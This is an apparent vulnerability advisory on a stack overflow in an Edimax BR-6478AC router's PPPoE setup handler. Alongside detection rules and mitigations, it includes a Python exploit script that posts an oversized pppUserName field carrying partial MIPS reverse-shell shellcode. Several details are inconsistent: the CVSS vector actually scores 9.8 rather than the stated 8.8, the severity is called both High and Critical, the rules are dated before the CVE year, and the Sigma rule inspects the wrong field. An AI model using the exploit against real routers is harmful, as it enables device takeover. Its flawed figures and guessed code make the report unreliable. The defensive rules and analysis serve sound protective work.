CVE-2026-10125

Executive Summary

CVE-2026-10125 is a critical stack-based buffer overflow vulnerability in the Edimax BR-6478AC wireless router, specifically in firmware version 1.23. The flaw resides in the formPPPoESetup function within the /goform/formPPPoESetup POST request handler. By manipulating the pppUserName argument, an unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution with root privileges. The exploit is publicly available, and no official patch has been released by Edimax. This vulnerability poses a severe risk to network integrity and confidentiality, as it allows complete device compromise without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – full device compromise.
• Integrity Impact: High (I:H) – attacker can modify system files.
• Availability Impact: High (A:H) – denial of service possible.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using Edimax BR-6478AC routers.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formPPPoESetup function. The router’s web interface processes POST requests to /goform/formPPPoESetup and copies the pppUserName parameter into a fixed-size stack buffer without proper bounds checking. By sending an overly long pppUserName value, an attacker can overwrite the return address and other critical stack data, gaining control of the program counter.

Root Cause: The use of unsafe string copy functions (likely strcpy or sprintf) without length validation.

Attack Flow:

1. Attacker sends a crafted POST request to http://<router-ip>/goform/formPPPoESetup with a malicious pppUserName parameter.
2. The router’s web server processes the request, copying the oversized input into a stack buffer.
3. The overflow corrupts the stack, overwriting the return address.
4. Upon function return, execution jumps to attacker-controlled shellcode.
5. Shellcode executes with root privileges, giving the attacker full control.

Impact: Full device takeover, ability to intercept traffic, launch further attacks, or use the router as a botnet node.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a representative snippet of the vulnerable function based on typical MIPS-based router firmware:

// Vulnerable code in formPPPoESetup
void formPPPoESetup(struct request *req) {
    char pppUserName[64];  // Fixed-size buffer
    char *input = req->getParam("pppUserName");
    
    // Unsafe copy - no bounds checking
    strcpy(pppUserName, input);  // VULNERABLE
    
    // ... rest of function
}

Patched code (hypothetical):

void formPPPoESetup(struct request *req) {
    char pppUserName[64];
    char *input = req->getParam("pppUserName");
    
    // Safe copy with length limit
    strncpy(pppUserName, input, sizeof(pppUserName) - 1);
    pppUserName[sizeof(pppUserName) - 1] = '\0';
    
    // ... rest of function
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Edimax BR-6478AC router with firmware 1.23
• Network access to the router’s web interface (port 80/443)
• Python3 with requests library

Exploit Code (Python):

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
url = f"http://{target}/goform/formPPPoESetup"

# Crafted payload: 64 bytes buffer + 4 bytes ROP + shellcode
# Example shellcode: MIPS reverse shell (adjust IP/port)
shellcode = (
    b"\x24\x0f\xff\xff"  # li t7, -1
    b"\x01\xe0\x78\x27"  # nor t7, t7, zero
    b"\x21\xe4\xff\xff"  # addi a0, t7, -1
    b"\x21\xe5\xff\xff"  # addi a1, t7, -1
    b"\x28\x06\xff\xff"  # slti a2, zero, -1
    b"\x24\x02\x10\x57"  # li v0, 4183 (sys_socket)
    b"\x01\x01\x01\x0c"  # syscall
    b"\xaf\xa2\xff\xff"  # sw v0, -1(sp)
    # ... (full shellcode omitted for brevity)
)

payload = b"A" * 64 + b"BBBB" + shellcode

data = {"pppUserName": payload}
try:
    r = requests.post(url, data=data, timeout=5)
    print(f"[+] Exploit sent to {target}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

python3 exploit.py 192.168.1.1

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /goform/formPPPoESetup with abnormally long pppUserName parameters.
• Use network intrusion detection systems (NIDS) to flag oversized payloads.
• Check router logs for crashes or unexpected reboots.

Hardening:

• Disable remote management if not required.
• Restrict access to the web interface to trusted IPs only.
• Apply firewall rules to block external access to port 80/443 on the router.
• Monitor for firmware updates from Edimax.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /goform/formPPPoESetup with pppUserName > 64 bytes.
  • Outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 31337).
  • Unusual DNS queries from the router.
• Host (Router):
  • Unexpected processes running (e.g., /tmp/shell).
  • Modified firmware or configuration files.
  • Presence of shellcode in memory (detectable via /proc inspection if accessible).
• File:
  • New files in /tmp/ or /var/ with execute permissions.
  • Modified /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2026_10125_Edimax_BR6478AC {
    meta:
        description = "Detects exploit attempts for CVE-2026-10125 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-10125"
    strings:
        $post_method = "POST"
        $uri = "/goform/formPPPoESetup"
        $param = "pppUserName="
        $overflow = /pppUserName=[A-Za-z0-9%]{65,}/  // >64 chars
    condition:
        $post_method and $uri and $param and $overflow
}

Sigma Rule

title: CVE-2026-10125 Edimax BR-6478AC Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with oversized pppUserName parameter targeting Edimax routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formPPPoESetup'
        cs-uri-query|contains: 'pppUserName='
    condition: selection and len(cs-uri-query) > 100
falsepositives:
    - Legitimate long usernames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10125 Edimax BR-6478AC Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formPPPoESetup"; http_uri; content:"pppUserName="; http_client_body; pcre:"/pppUserName=[A-Za-z0-9%]{65,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Edimax BR-6478AC routers behind a firewall with strict access controls.
2. Disable remote management: Turn off WAN-side access to the web interface.
3. Monitor for exploits: Deploy the provided YARA/Sigma/Suricata rules to detect attacks.

Long-term Fix:

• Vendor patch: Await an official firmware update from Edimax. Check their support page regularly.
• Replace hardware: If no patch is released, consider replacing the router with a supported model.
• Network segmentation: Place IoT devices on a separate VLAN to limit blast radius.

Workaround:

• If the router must remain in use, block POST requests to /goform/formPPPoESetup using a reverse proxy or WAF.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2026-10125